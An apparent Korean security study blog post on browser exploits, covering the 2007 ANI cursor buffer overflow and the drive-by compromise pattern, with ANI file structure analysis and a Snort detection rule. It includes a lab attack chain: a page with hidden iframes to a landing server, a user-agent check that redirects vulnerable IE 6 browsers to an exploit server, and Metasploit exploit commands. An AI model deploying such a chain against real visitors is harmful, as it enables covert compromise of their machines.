보안/보안 개념

브라우저 익스플로잇

no-brake 2026. 6. 1. 17:25

브라우저 익스플로잇 : 웹 브라우저나 그 구성 요소(JavaScript 엔진 등)의 보안 취약점을 악용해 악성코드를 실행하거나 시스템을 장악하는 공격 기법

 

[CVE-2007-0038(애니메이션 커서 원격 코드 실행 취약점) 개념]

  • HTML 페이지 혹은 웹 페이즈를 통해 로드되는 애니메이션 커서 파일(.ANI)을 USER32.DLL 라이브러리의 함수에서 처리하는 과정에서 버퍼 오버플로우가 발생하는 취약점
  • 브라우저에서 도메인 URI를 통해 서버의 JS, HTML, CSS 같은 내용 전달 받음
  • 서버에서 .ani 파일을 브라우저에 전달해 커서 변경 가능
  • 브라우저는 USER32.dll을 이용해 마우스 커서 효과 적용

[.ANI 파일]

  • 웹 페이지에서 로드
  • 멀티미디어 파일 포멧인 RIFF(Resource Interchange File Format) 포멧 기반으로 구성되어, "RIFF" 시그니처를 포함한 해더 시작
  • 가변 길이의 구획들인 청크(Chunk)로 다수 포함하고 있음

 

[청크(Chunk) 파일 구조]

  • tag, size, data 멤버로 구성
  • tag, size 멤버는 4바이트
  • data 멤버는 가변 크기
  • tag : ascii으로 표현되며 seq, LIST, rate 또는 anih 등 값을 가짐

 

[ANI 파일 구조 분석]

  • 시그니처 RIFF
  • File size : 0x00000CA0
  • File type : ACON

  • 청크(Chunk) tag 멤버 : LIST, anih

  • 첫 번째 정크 크기 : 0x00000044

  • 두 번째 정크 크기 : 0x00000024

  • 세 번쨰 정크 크기 : 0x00000C1C

[T1189(Drive-by Compromise) 개념]

  • 웹 브라우저가 감염된 웹 사이트 방문시 악성코드 다운로드 또는 실행하여 통제 권한 탈취
구분 설명
감염된 웹사이트 공격자에 의해 해킹된 웹 서버
웹사이트 코드를 수정해 랜딩 서버로 이동
랜딩 서버 취약점 있는 브라우저 종류 및 버전 확인 후 익스플로잇/페이로드 배포 서버로 이동
익스플로잇/페이로드 배포 서버 실제 공격이 이뤄지는 서버
랜딩 서버에서 수집한 정보를 토대로 브라우저 취약점 공격 진행

 

[공격]

감염된 웹 페이지 코드

<html>
	<head>
    	<title> Test Page </title>
    </head>
	<body>
		Test Page... <br>
		Welcome!! <br>
		<!-- <iframe src="http://192.168.57.80/land.html"></iframe> -->
        <!-- <iframe src="http://192.168.57.80/randgen.html" width=0 height=0></iframe> -->
	</body>
<html>
  • iframe : 웹 페이지 내부에 다른 웹 페이지 삽입할 수 있게 해주는 HTML 태그로 현재 페이지 내에 다른 웹 페이지가 뜨게 함

랜딩 페이지

<html>
	<meta http-equiv="cache-control" content="no-cache">
    <meta http-equiv="expires" content="-1">
    <head><title> test page </title></head>
    <body>
		<script>
			alert ("Landing Page!");
			var browser_ver = navigator.userAgent.toLowerCase(); 
    		alert ("Your Browser Version:" + browser_ver); 
    		if(browser_ver.index0f('msie 6.0')>0) { 
    			alert ("Your Browser is vulnerable");
        		location.href= "http://192.168.57.11";
     		} else { 
        		alert ("Your Browser is not vulnerable");
			}
		</script>
	</body>
</html>
  • 랜딩페이지 접속 성공시 : "Landing Page!" 팝업 발생
  • browser_ver : userAgent 정보 저장
  • if문을 통해 공격 가능한 취약 브라우저 여부 확인
  • 취약 브라우저 일시 악성 페이로드 전달하는 서버로 리다이렉션 함

악성 스크립트

use exploit/windows/browser/ms07_017_ani_loadimage_chunksize
set SRVHOST 192.168.57.11
set SRVPORT 80
set PAYLOAD windows/exec
set CMD calc.exe
exploit
  • use ex~~~ : 2007년 ani 커서 파일 취약점 이용한 Exploit 모듈 이용
  • set ~~ : 호스팅할 악성 웹 서버 IP 지정, 해당 주소 접속 시 Exploit 실행
  • set : 웹 서버 포트 설정
  • set : 익스플로잇 성공시 실행할 페이로드 종류
  • set : 익스플로잇 성공시 실행할 명령어 지정
  • exploit : 악성 파일 호스팅하는 웹서버 시작

[분석]

ANI 파일의 ID는 "anih"이며 청크 사이즈는 0x24(36byte)

공격자는 ANI파일의 사이즈인 36byte보다 큰 데이터를 넣어 버퍼 오버플로우 발생

alert tcp any any -> any any (
	msg: "BROWSER-IE MS IE ANI file parsing buffer overflow attempt";
	flow: to client, established;
	file_data;
	content: "RIFF"; depth: 4;
	content: "ACON"; within: 4; distance: 4;
	content: "anih"; distance: 0; nocase;
	byte_test: 4, >, 36, 0, relative, little;
    sid: 3079; rev:21;
)
  •  : 모든 TCP 트래픽 감시하고, 공격 발생 시 알림 발생
  •  : 파일 내용 기준으로 검사 시작
  •  : 파일 처음 4바이트가 "RIFF" 여부 확인
  •  : "RIFF"로부터 4바이트 이후 "ACON" 여부 확인
  •  : "ACON" 이후 바로 "anih"가 있는지
  •  : 현재 위치로부터 4바이트 읽고, little-endian 해석시 값이 36보다 크면 탐지